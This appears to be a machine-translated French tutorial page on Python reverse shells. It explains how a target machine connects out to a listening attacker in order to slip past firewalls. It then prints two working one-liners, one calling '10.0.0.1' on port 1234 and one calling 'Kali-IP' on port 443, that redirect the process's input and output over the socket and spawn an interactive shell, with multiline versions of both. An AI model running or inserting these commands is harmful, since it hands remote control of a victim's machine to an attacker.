Python >> Tutoriel Python >  >> Python

Python One Line Reverse Shell

Cet article va être amusant ! Vous découvrirez un concept important en matière de sécurité :les coques inversées. Vous apprendrez également à créer des shells inversés en Python en une seule ligne de code. Alors, commençons par la grande question :

Qu'est-ce qu'une coque inversée ?

Voici la définition d'un Reverse Shell :

Une coque inversée est utilisé par les pirates pour accéder à une machine cible. La machine cible ouvre un shell pour communiquer avec la machine attaquante. La machine attaquante reçoit la connexion (écoute sur un port donné) et peut désormais accéder à la machine cible. Pour réaliser un shell inversé, un pirate doit exécuter du code sur une machine cible. Les reverse shells sont également utilisés par les ingénieurs en sécurité pour tester et empêcher les attaques par reverse shell.

La raison d'un shell inversé est simple :il est souvent très difficile pour un attaquant d'accéder à une machine cible, car la machine de la cible et le pare-feu du réseau protègent soigneusement l'utilisateur des entrants connexions . Cela est sans doute nécessaire car les pirates du monde entier essaient constamment de pénétrer de force dans votre machine (si elle est accessible via Internet).

Cependant, il est presque impossible pour les mêmes pare-feu de protéger le client des connexions sortantes . Vous ne pouvez le faire qu'en limitant la cible (potentielle) à effectuer ces opérations. Mais les administrateurs système et les programmeurs doivent pouvoir ouvrir des ports et communiquer avec d'autres machines via des connexions TCP. C'est à cela que servent les ordinateurs après tout.

Une coque inversée l'utilise et inverse la manière standard d'accéder à une machine cible. Désormais, la cible ouvre la connexion à l'attaquant, de sorte que les pare-feu autorisent souvent ces connexions en supposant que le propriétaire de la machine cible sait ce qu'il fait.

La seule chose que l'attaquant doit faire est d'amener la cible à exécuter le code sur sa machine, d'ouvrir un shell inversé et de se connecter à la machine de l'attaquant. L'attaquant ouvre un port sur sa propre machine et attend que le client se connecte à ce port.

Sources :Vous pouvez en savoir plus ici et ici.

Méthode 1

J'ai trouvé ce code dans un fil de blog. Vous pouvez l'exécuter à partir de n'importe quel ordinateur sur lequel Python est installé et visible depuis votre emplacement actuel :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Mais vous ne devez jamais exécuter de code copié-collé à partir d'une source Internet. Que se passe-t-il si le code supprime tous les fichiers de votre ordinateur ?

Voyons à quoi ressemble ce code en tant que multiligne Python afin que vous puissiez mieux le comprendre :

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Comme vous le voyez, le code ouvre un socket (qui est un point d'entrée pour une connexion), duplique les descripteurs de fichiers et appelle un shell Linux. Ainsi, il ne fonctionnera que sur les systèmes basés sur Linux.

Méthode 2

Dans ce fil Github, j'ai trouvé un autre one-liner qui ouvre un reverse shell :

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Lors de l'écriture du multi-ligne équivalent, le code semble plus compréhensible :

import pty
import socket,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("Kali-IP",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

Il est très similaire au code ci-dessus mais utilise le pty bibliothèque pour créer le shell.